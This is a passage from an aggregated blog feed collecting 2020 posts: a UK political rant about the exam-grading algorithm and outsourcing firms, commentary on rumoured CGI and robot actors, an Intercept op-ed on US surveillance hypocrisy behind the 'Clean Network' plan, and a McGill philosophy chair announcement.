Because whoever has their paw prints on that part of the fiasco should have some explaining to do, but in a Government where nobody resigns, there won’t be any. But there will be the distinct impression that someone has sanctioned yet another waste of taxpayer funds on a gizmo that caused rather more problems than it solved.

It’s a good question. Zelo Street himself suggests that it might be someone not unconnected to the poisonous Cummings. Well, he is a Social Darwinist, who was prepared to  let the country’s elderly die from the Coronavirus just in order to save the economy. But you also wonder if the company responsible for the algorithm also was connected to the Tories. They’ve had form in giving government contracts to their pet firms, whose management either includes members of the party, or which donates to them. And who have massively failed in their responsibilities. Like the private company that was supposed to take over from the state the provision of PPE to our brave, dedicated and caring medical professionals. Or what about the ‘world-beating’ test and trace programme, which is now being drastically scaled back because it, like the government that commissioned it, isn’t really fit for purpose.

Or is it one of the delightful private companies to which the government have been outsourcing services that should be provided by the state. Companies like Serco, G4S, Maximus, Capita and all the rest that have been delivering failure and rubbish for over thirty years, ever since they were invited in by the Tories in the late ’80s or early ’90s. At one time there was at least one article every fortnight in Private Eye about this clowns. Capita were so incompetent that the Eye awarded them the nickname ‘Crapita’. They started off with contracts to provide IT services, which were just about always behind schedule, over budget and sometimes so dire that they had to be scrapped. But for some reason they failed upwards, and were immediately given more contracts. And the outsourcing companies have gone on to dig themselves further into the infrastructure of government, with worse results. Like ATOS and Maximus manufacturing reasons to throw genuinely disabled people off the benefits they so desperately need, because the Tories and Tony Blair have decided that a certain percentage must be malingerers. The rioting against appalling conditions in our wonderful, privately run prisons and detention centres for asylum seekers. G4S in the ’90s managed to make themselves a laughing stock when a consignment of prisoners they were escorting to trial broke out and escaped. Are these same companies – or  one similar – also responsible for this unjust, odious algorithm?

Zelo Street doubts we’ll ever know the answer. He’s probably right. The Tories are very keen to protect their failures, and would probably argue that the information is too professionally sensitive to be divulged. Just like they’ve done with other private companies involved in government business, like all the private healthcare providers angling for NHS contracts.

This isn’t good enough. Williamson should go, and the company behind the algorithm should be named, shamed and its contract cancelled.

But I very much doubt that the Tories will take that step. Just remember the old saying

‘Success has many fathers, but failure is an orphan’.

To which you could add that there are also a fair number of the morally parentless on the Tory benches.

See also: https://zelo-street.blogspot.com/2020/08/benevolent-bozos-badly-bungled-...

The Overlord on Rumours that Mark Hamill Has Sold Image for Hollywood CGI Clone of Luke Skywalker

‘The Overlord’ is another YouTube channel devoted to news and views about genre cinema and television. It’s hosted by Dictor von Doomcock, a masked alien supervillain supposedly living at the centre of the Earth. And who is definitely not impressed at all at the state of contemporary popular culture, and particularly the way beloved film classics like Star Wars, Star Trek, Dr. Who and so on are now being trashed by producers who have no respect for these series and their fans. And in this video he talks about the bizarre next step in this process: the recreation of favourite film characters like Indiana Jones and Luke Skywalker through CGI, completely removing the need for human actors.

A website, WDW Pro, has claimed that Disney are looking for ways they can break the pause in filming imposed by the Coronavirus lockdown. They are therefore looking at ways to do without human actors. They have therefore been looking at a technological solution to this problem, using the same computer techniques used to create the films The Lion King of 2019 and the 2016 film version of The Jungle Book, as well as the facial recreation of Peter Cushing as Grand Moff Tarkin in Star Wars: Rogue 1. Frustrated at the hold-up filming the third Guardians of the Galaxy flick, Disney will use the technology, Cosmic Rewind, to create a completely computer generated movie, but one that would be presented as using human characters. This is going to be an experiment to test the possibility of creating films without human actors and the need for their salaries. According to a rumour, which WDW Pro has not been able to confirm, the projected film is about Young Indy, and its effectiveness will be tested when a rollercoaster based on the film comes on as part of Disneyworld.

Lucasfilm has also apparently made a deal with Mark Hamill within the last 18 months in which he has signed over his image to them so that they can use it to create a CGI Luke Skywalker. This Virtual Skywalker may also be used in the projected Galaxy’s Edge Star Wars theme park. However, due to the project’s severe financial problems, this may not happen anytime soon. Disney are slowly moving towards using this technology to dispense with human actors so that they won’t have to suffer a similar pause in filming ever again, although they won’t move away from human actors altogether immediately.

Doomcock himself laments this development, and feels that it is inevitable in a world where Deep Fake technology has advanced so far that we don’t know if the people we see or the news we watch are real, or that the characters we see on the screen are brought to life by real actors using the skills and craft they have learned. He wonders what will happen to our civilisation – what we will lose – if everything we see on the screen is synthetic, and we are removed another step again from reality and anything that has ‘heart’. It might all be all right, but it seems to him that the more we remove the human element from art and culture and make it the creation of AIs, the more removed we are from our culture.

He also vents his spleen about the choice of subject for this putative movie, pointing out that there was a TV series about Young Indiana Jones years ago, and nobody wanted it. He recommends instead that if this grave-robbing technology is to be used, it should be used to recreate the mature Indy of Raiders of the Lost Ark and Temple of Doom. He also criticises Hamill for what he sees as his poor judgement in making the deal with Disney. Hamill should know personally how a poor director can ruin a beloved legacy character, the actor’s own contribution and a favourite film franchise through his experience playing Skywalker in The Last Jedi. He famously wept on set during that movie and bitterly criticised the director’s decisions. He’s sarcastic about the respect Disney shows such legacy characters. It’s rumoured that George Lucas is returning to helm the Star Wars films, in which everything will be fine and we can look forward to a bright, new golden age. But considering the potential for abuse, Doomcock states that he is dismayed, flabbergasted and disgusted by Hamill’s decision and fearful for humanity’s future. As human culture becomes made by machines, hasn’t Skynet won? Who needs to launch nukes, when we have a CGI Skywalker dancing like a monkey in a bikini?

Here’s the video, but as Doomcock himself warns you, it isn’t for children. It has adult humour. Blatantly adult humour.

As you can see, there’s more than a little hyperbole in Doomcock’s argument, and some people will take issue at what he views as the humiliation of Luke Skywalker to push a feminist or anti-racist message, like Black Lives Matter. But his fears of the abuse of such technology aren’t unfounded, and have been around for quite some time. The possibility that actors would sell their images to film companies to recreate them Virtually, while making the flesh and blood person redundant, was explored a few years ago in the SF film The Congress by Ari Folman. This was loosely based on the Stanislaw Lem novel, The Futurological Congress, but is very different, and, in my opinion, inferior. For one thing, the Lem novel is hilariously funny, while the movie is grim and depressing. The movie is about a Hollywood actress, Robin Wright, playing herself, who makes precisely the deal Hamill is rumoured to have made. She then stars in a series of action movies, including one sequence that is definitely a tip to Kubrick’s Cold War masterpiece, Dr. Strangelove. But this is all computer animation. The Wright herself isn’t remotely involved in their filming. Indeed, it is a condition of her contract that she not act at all, and live the rest of her life in a very comfortable retirement. These developments are followed by the discovery of a drug that allows people to enter a vast, consensual Virtual Reality, in which they can be and do anyone and anything they want. The world’s masses abandon reality, so that civilisation decays into a very grim, dystopia of ruin, poverty and misery. At one point Wright takes the drug, which will return her to reality, only to find herself in a food queue in a burned out, abandoned building. Unable to come with this, she returns to the Virtual world to search for the son she lost while in a coma as a result of a terrorist attack on the Las Vegas congress she was attending at which the hallucinogenic drug was launched. As I said, it’s a depressing film in which such illusions really are bringing about the destruction of humanity. And there is no escape, except into the Virtual world that has caused it.

The film follows a number of other SF works that have also predicted similar dystopias brought about by the hyperreality of mass entertainment. This includes John D. MacDonald’s short story, Spectator Sport, in which a time traveller appears in a future in which all human achievement has ceased as the public live out their lives as characters in VR plays. Another, similar tale is Good Night, Sophie, by the Italian writer Lino Aldani, about an actress in a similar world in which people live harsh, austere lives in order to escape into a far brighter, more vivid fantasy world of entertainment. Rather less pessimistic was the appearance of the SF film, Final Fantasy, all those years ago. This was supposed to be the first film in which all the characters were CGI, and who were supposedly indistinguishable from flesh-and-blood reality. The fact that further films like it haven’t been made suggests that, reassuringly, people want real humans in their movies, not computer simulations.

We’ve also seen the appearance of a number of computer generated celebrities. The first of these was the vid jockey, Max Headroom on Channel 4 in the 1980s. He was supposed to  be entirely computer-generated, but in reality was played by Canadian actor Matt Frewer under a lot of makeup. Then in the 1990s William Gibson, one of the creators of Cyberpunk SF, published Idoru. This was a novel about a man, who begins an affair with a Virtual celebrity. Soon after it came out, a Japanese company announced that it had created its own Virtual celeb, a female pop star. Gibson’s books are intelligent, near-future SF which contain more than an element of the ‘literature as warning’. The worlds of his Cyberspace books are dystopias, warnings of the kind of society that may emerge if the technology gets out of hand or corporations are given too much power. The creation of the Virtual pop star looked instead as though the corporation had uncritically read Gibson, and thought what he was describing was a good idea.

But going further back, I seem to recall that there was a programme on late at night, presented by Robert Powell, on the impact the new information technology would have on society. It was on well after my bedtime, and children didn’t have their own TVs in those days. Or at least, not so much. I therefore didn’t see it, only read about it in the Radio Times. But one of its predictions was that there would be widespread unemployment caused by automation. This would include actors, who would instead by replaced by computer simulations.

Computer technology has also been used to create fresh performances by deceased stars, sometimes duetting with contemporary performers. This worried one of my aunts when it appeared in the 1980s/90s. Dead performers have also been recreated as holograms, to make the stage or television appearances they never made in life. The late, great comedian Les Dawson was revived as one such image, giving post-mortem Audience With… on ITV. It was convincing, and based very much on Dawson’s own live performances and work. It was good to see him again, even if only as Virtual ghost, and a reminder of how good he was when alive.

I don’t know how reliable the rumours Doomcock reports and on which he comments are. This could all be baseless, and come to nothing. But I share his fears about the damage to our culture, if we allow our films and television to be generated by technicians and algorithms rather than flesh and blood thesps. Especially as the rising cost of movies mean that the film companies are unwilling to take risks and seem determined to rake over and exploit past classics rather than experiment with creating fresh material.

CGI’s a great tool. It’s used to create vividly real worlds and creatures. But I don’t want it replacing humans. Even if that means waiting a few years for new flicks to come out.

 

‘Mr H Reviews’ on the Casting of Robot Lead in SF Film

Published by Anonymous (not verified) on Sun, 09/08/2020 - 12:26am in

‘Mr H Reviews’ is a YouTube channel specialising in news and opinions on genre films – SF, Fantasy and Horror. In the video below he comments on a piece in the Hollywood Reporter about the production of a new SF movie, which will for the first time star a genuine AI. The movie is simply titled b. Financed by Bondit Capital, which also funded the film Loving Vincent, with the Belgium-based Happy Moon Productions and New York’s Top Ten Media, the film is based on a story by the special effects director Eric Pham with Tarek Zohdy and Sam Khoze. It is about a scientist, who becomes unhappy with a programme to perfect human DNA and helps the AI woman he has created to escape. 

The robot star, Erica, was created by the Japanese scientists/ engineers Hiroshi Ishigura and Hohei Ogawa for another film. The two, according to the Reporter, taught her to act. That film, which was to be directed by Tony Kaye, who made American History X, fell through. Some scenes for the present movie were already shot in Japan in 2019, and the rest will be shot in Europe next year, 2021.

The decision to make a movie starring a robot looks like an attempt to get round the problems of filming caused by the Coronavirus. However, it also raises a number of other issues. One of these, which evidently puzzle the eponymous Mr H, is how a robot can possibly act. Are they going to use takes and give it direction, as they would a human, or will it instead simply be done perfectly first time, thanks to someone on a keyboard somewhere programming it? He is quite enthusiastic about the project with some reservations. He supports the idea of a real robot playing a robot, but like most of us rejects the idea that robots should replace human actors. He also agrees with the project being written by a special effects supervisor, because such a director would obviously be aware of how such a project should be shot.

But it also ties in with an earlier video he has made about the possible replacement of humans by their Virtual simulacra. According to another rumour going round, Mark Hamill has signed away his image to Lucas Film, so that Luke Skywalker can be digitally recreated using CGI on future Star Wars films. Mr H ponders if this is the future of film now, and that humans are now going to be replaced by their computer generated doubles.

In some ways, this is just the culmination of processes that have been going on in SF films for some time. Animatronics – robot puppets – have been used in Science Fiction films since the 1990s, though admittedly the technology has been incorporated into costumes worn by actors. But not all the time. Several of the creatures in the American/Australian SF series Farscape were such animatronic robots, such as the character Rygel. Some of the robots features in a number of SF movies were entirely mechanical. The ABC Warrior which appears in the 1990s Judge Dredd film with Sylvester Stallone was deliberately entirely mechanical. The producers wished to show that it definitely wasn’t a man in a suit. C-3PO very definitely was played by a man in a metal costume, Anthony Daniels, but I noticed in the first of the prequels, The Phantom Menace, that a real robot version of the character appears in several scenes. Again, this is probably to add realism to the character. I also think that in the original movie, Episode 4: A New Hope, there were two versions of R2D2 used. One was the metal suit operated by Kenny Baker, and I think the other was entirely mechanical, operated by radio. Dr. Who during Peter Davison’s era as the Doctor also briefly had a robot companion. This was Kameleon, a shape-changing android, who made his first appearance in The King’s Demons. He was another radio-operated robot, though voiced by a human actor. However the character was never used, and his next appearance was when he died in the story Planet of Fire.

And then going further back, there’s Alejandro Jodorowsky’s mad plan to create a robotic Salvador Dali for his aborted 1970s version of Dune. Dali was hired as one of the concept artists, along with H.R. Giger and the legendary Chris Foss. Jodorowsky also wanted him to play the Galactic Emperor. Dali agreed, in return for a payment of $1 million. But he stipulated that he was only going to act for half an hour. So in order to make sure they got enough footage of the great Surrealist and egomaniac, Jodorowsky was going to build a robot double. The film would also have starred Orson Welles as Baron Vladimir Harkonnen and Mick Jagger as Feyd Rautha, as well as Jodorowsky’s own son, Brontes, as Paul Atreides. The film was never made, as the producers pulled the plug at the last minute wondering what was happening to it. I think part of the problem may have been that it was going well over budget. Jodorowsky has said that all the effort that went into it wasn’t wasted, however, as he and the artist Jean ‘Moebius’ Giraud used the ideas developed for the film for their comic series, The Incal. I think that Jodorowsky’s version of Dune would have been awesome, but would have been far different to the book on which it was based.

I also like the idea of robots performing as robots in an SF movie. A few years ago an alternative theatre company specialising in exploring issues of technology and robotics staged a performance in Prague of the classic Karel Capek play, Rossum’s Universal Robots, using toy robots. I can see the Italian Futurists, rabid Italian avant-garde artists who praised youth, speed, violence and the new machine world around the time of the First World War, being wildly enthusiastic about this. Especially as, in the words of their leader and founder, Tommasso Marinetti, they looked ‘for the union of man and machine’. But I really don’t want to see robots nor CGI recreations replace human actors.

Many films have been put on hold because of the Coronavirus, and it looks like the movie industry is trying to explore all its options for getting back into production. However, the other roles for this movie haven’t been filled and so I do wonder if it will actually be made.

It could be one worth watching, as much for the issues it raises as its story and acting.

The Filthy Hypocrisy of America’s “Clean” China-Free Internet

Published by Anonymous (not verified) on Fri, 07/08/2020 - 7:26am in

Tags 

Technology

The State Department has a new vision for a “clean” internet, by which it means a China-free internet. This new ethno-exclusive network “is the Trump Administration’s comprehensive approach to guarding our citizens’ privacy and our companies’ most sensitive information,” by ensuring that China won’t be able to do a litany of subversive and violative things with technology that the U.S. and its allies have engaged in for years. As a policy document it’s nonsensical, but as a moral document, a piece of codified hypocrisy, it’s crystal clear: If there’s going to be a world-spanning surveillance state, it better be made in the USA.

US Secretary of State Mike Pompeo speaks during a news conference at the State Department in Washington, DC, on August 5, 2020. (Photo by Pablo Martinez Monsivais / POOL / AFP) (Photo by PABLO MARTINEZ MONSIVAIS/POOL/AFP via Getty Images)

U.S. Secretary of State Mike Pompeo speaks during a news conference at the State Department in Washington, D.C., on Aug. 5, 2020.

Photo: Pablo Martinez Monsivais/AFP via Getty Images

A statement from Secretary of State Mike Pompeo includes a five-pronged plan for beating back Red China’s attempts to siphon and abuse your data: Working to keep Chinese phone carriers (presumably compromised by Beijing) out of U.S. markets, to have privacy-violating Chinese apps kicked off American app stores, to remove U.S. apps from app stores run by Chinese companies, to keep U.S. citizens’ data off of Chinese cloud servers “accessible to our foreign adversaries,” and to ensure that the undersea cables that ferry internet signals between continents aren’t secretly tapped by eavesdropping Chinese intelligence services.

The real question, even more than how could any of this practically be accomplished by State Department diktat, is: Why should anyone in the world take the initiative seriously? How can any network fondled for decades by American spy agencies be considered clean? The absolute gall of the United States in condemning “apps [that] threaten our privacy, proliferate viruses, and spread propaganda and disinformation” is just slightly too stunning to be laughable. Without exception, the United States engages in every one of these practices and violates every single one of these bullet pointed virtues of a Clean Internet. Where do we get off?

The post-9/11 NSA phone surveillance program, through which major telecom carriers like AT&T and Verizon cooperated with the government to provide sensitive data for hundreds of millions of calls and texts, was only shut down last year (and only reportedly shut down at that). Though critics of the China-originated social network TikTok are quick to point to Chinese tech firms’ data-sharing obligations to their government, we don’t need to look to the other side of the world to find such opaque arrangements. As the New York Times noted when the NSA program was terminated, “Starting in 2006, the Foreign Intelligence Surveillance Court began issuing secret orders requiring the companies to participate, based on a novel interpretation of Section 215 of the Patriot Act, which said the F.B.I. may obtain business records ‘relevant’ to a terrorism investigation.” Long-running fears that pre-tampered communications equipment manufactured by China’s Huawei could breach American networks start to feel a bit morally hollow when you recall the NSA investigated these fears by breaching Huawei itself while simultaneously exporting pre-tampered network equipment from Cisco, a U.S. firm. A psychologist might describe U.S. concerns in this area as “projection.”

We’re on similarly weak footing when it comes to browbeating other countries about privacy-violating apps, an industry the U.S. has proudly pioneered. It is the rare American citizen whose daily movements, habits, tastes, and desires aren’t surveilled around the clock by a constellation of for-profit firms whose names they will never know and whose interests they will rarely share. At a recent congressional hearing on the monopolistic practices of American tech companies at which he stated his company stood for “American values,” Facebook CEO Mark Zuckerberg was asked about a virtual private network the company deployed to smartphones to spy on children and adults in exchange for bribes — or, as Facebook put it, for “market research.” Zuckerberg denied that he had ever heard of this incident even as he told Congress, under oath, that the company doesn’t use cookies to track private information (it does). Pompeo’s denunciation of the “PRC surveillance state” sounds like little more than surveillance state protectionism.

Google’s Android phones come pre-installed with a long list of always-on, always-listening, always-tracking features that quietly surveil customers’ smartphone habits and locations: data increasingly handed over to police, and, as always, leveraged for targeted advertising by a mind-boggling range of companies.

There’s very little here that could be considered “clean,” unless it’s the Awesome Cleaning Power of Dove Soap your phone is now recommending to you because it’s persistently tracked by Facebook, Google, and countless marketers. Skype, one of the world’s most popular and trusted pieces of software, was infamously sabotaged by its American owner in order to let the NSA effectively spy on conversations it carried. The rest of the world is surely raring to feel this kind of Clean.

If we’re condemning the practice of duplicity in the name of national security, it’s odd to let Silicon Valley so entirely off the hook.

Pompeo calls for a “Clean Cloud” that can’t be “accessible to our foreign adversaries.” It would be interesting to hear Pompeo’s pitch for why other countries should instead turn to, say, Amazon’s AWS cloud service, used by the CIA and NSA. The U.S. government should think very carefully about whether it wants to tell the world that a company’s intelligence community adjacency and long-running collaboration should be a red flag before doing business.

Pompeo’s determination to “ensure the undersea cables connecting our country to the global internet are not subverted for intelligence gathering by the PRC at hyper scale” is maybe his most morally bankrupt initiative. “We will also work with foreign partners to ensure that undersea cables around the world aren’t similarly subject to compromise,” he promises, not noting that it’s precisely ourselves and these “foreign partners” in the Five Eyes spying alliance that have for decades made sure that undersea cables are subject to compromise. NSA programs with names like FAIRVIEW, STORMBREW, and OAKSTAR revealed by Snowden show just how invested the U.S. is in spying on the internet’s physical fiber optic backbone in absolute secrecy to carry out the country’s national security agenda.

The American “Do as we say, not as we do” approach to the internet has always been the case, but reached an apex with the debate over “banning” TikTok, a Chinese-owned video sharing app counted among the most widely used pieces of software in history. I’ve found it to be an worthwhile exercise to take a random piece of the national security centrist consensus against TikTok, which framed the teen-beloved app as the data security equivalent of a comical smoking bomb from a Batman cartoon, and swap out “TikTok” for, say, Facebook. The think tank arguments for a national ban against dishonest tech companies that harvest as much data as possible and backchannel with spy agencies and police hold up pretty well no matter which company is slotted into the national security mad libs. There’s no reason to believe TikTok vacuums up more data than Facebook or any other app, whose owners, in the absence of any meaningful regulation, can do whatever they please with that information in perpetuity.

To consider Mark Zuckerberg, Sundar Pichai, and the rest of the Silicon brass as meaningful foils to Chinese secrecy, sabotage, and subterfuge, as some bulwark of democratic ideals, is an insult to anyone paying attention. The nightmare of Chinese techno-authoritarianism does not in any way absolve the Surveillance State Lite we’re erecting at home. However easy it may be for the Chinese government to access data within its own borders and no matter how nefarious their intent, the average American ought to wonder whether they face a greater imminent threat from that country’s authorities or the U.S.-based surveillance marketing companies that actively try to preempt and subvert their personal autonomy every minute of every day, or the brutalizing police agencies that happily piggyback on these data troves.

We’ve known since NSA contractor Edward Snowden helped expose various surveillance programs seven years ago that information from Silicon Valley heavies like Google, Facebook, and Apple was routinely and systematically provided to the NSA, subject in many cases only to the oversight and transparency of secret courts, secret proceedings, and secret findings. It will take a greater mind than Pompeo’s to argue why our opaque public-private national security data funnel is meaningfully democratic and genuinely open. Less docile firms can find themselves the recipient of a federal “National Security Letter,” which not only mandates that they turn over the requested data, but forbids them from even mentioning that they’ve been asked under penalty of imprisonment. If we’re condemning the general practice of duplicity in the name of national security, rapaciousness in the name of intelligence, and constant violation of civil liberties and personal privacy online, it’s odd to let the Stanford graduates who run Silicon Valley so completely off the hook.

There’s no need to attempt to draw a moral equivalence between China and the United States; the network of totalitarian, ubiquitous surveillance and repressive policing erected in Chinese cities can only make Palo Alto executives and police union bosses green with envy for now, though we can’t knock them for not trying. The horrors of Uyghur concentration camps in Xinjiang — of their brutalization, dehumanization, and worse — are without equal in this country. China’s domestic human rights abuses and civil liberties disintegrations are orders of magnitude greater than our own. But just because someone else is far worse doesn’t mean that we are good, or clean, worth emulating, or worth listening to at all. The systemic surveillance and harassment of Muslim communities is either wrong, or it’s not. The internment of ethnic groups in fenced-in pits and cages is either wrong, or it’s not. Persistent corporate surveillance conducted by firms with close ties to the military and spy agencies is either a problem, or it’s not. Tapping undersea fiber optic cables, backdooring network equipment, and turning smartphones into tracking devices is either something no one should do, or it’s not. Marketing apps to young people and then hoovering up their data to be subject to facial recognition or machine learning or who knows what else should either offend us or not, regardless of whether perpetuated by Zuckerberg or TikTok boss Zhang Yiming; Silicon Valley’s captains of industry long ago forfeited moral superiority over their Chinese counterparts. At the very least, I’m not aware of Yiming ever telling his friends that people were “dumb fucks” for trusting him with their data.

The argument that the United States can and should be able to get away with all of this because of our democratic values, or commitment to human rights and human dignity, our fair judiciary, our principled executive, and our diligent legislative branch will convince some people itching for a fight with China — those people for whom there are simply Good Guys (us) and Bad Guys (them) — but to the rest of us should leave a sour taste, particularly given the current administration. Trumpeting America’s superior “rule of law” against Chinese-style data practices is less reassuring while unidentified federal commandos are stuffing people into the back of vans and the Department of Justice is commanded by an open crony of the White House. You’ll hear and read much in the coming weeks about how Pompeo’s “Clean Network” program could mean the beginning of two fractured internets: one Red Chinese, and one Proudly American. It will be crucial to bear in mind that while China’s vision of the techno-future is revolting, dangerous, and worth fighting against however possible, the American Net is anything but clean.

The post The Filthy Hypocrisy of America’s “Clean” China-Free Internet appeared first on The Intercept.

C$2 Million Gift to McGill Philosophy for Technology & Human Nature Professorship

Published by Anonymous (not verified) on Tue, 04/08/2020 - 10:58pm in

The Department of Philosophy at McGill University received C$2 million (approximately $1.5 million) donation to establish an endowed chair in philosophy of technology.

The donation is from Canadian investor and philanthropist Stephen A. Jarislowsky, through his foundation. McGill provided another C$2 million to help endow the position.

The Stephen Jarislowsky Chair in Technology and Human Nature “will bring together a deep understanding of new technology along with a strong philosophical perspective on the many issues inherent in the development of Artificial Intelligence (AI) and other technologies which are rapidly changing our world,” according to a press release from McGill. Though based in Department of Philosophy, the position is interdisciplinary in nature; the holder of the position will work with other units at the university, such as the Yan P. Lin Centre for Freedom and Global Orders, as well as “the wider Montreal technology community.”

Further information is here.

(via Jacob Levy)

[image: modified version of “Robot ‘The Thinker'” by Anatole Branch]

The post C$2 Million Gift to McGill Philosophy for Technology & Human Nature Professorship appeared first on Daily Nous.

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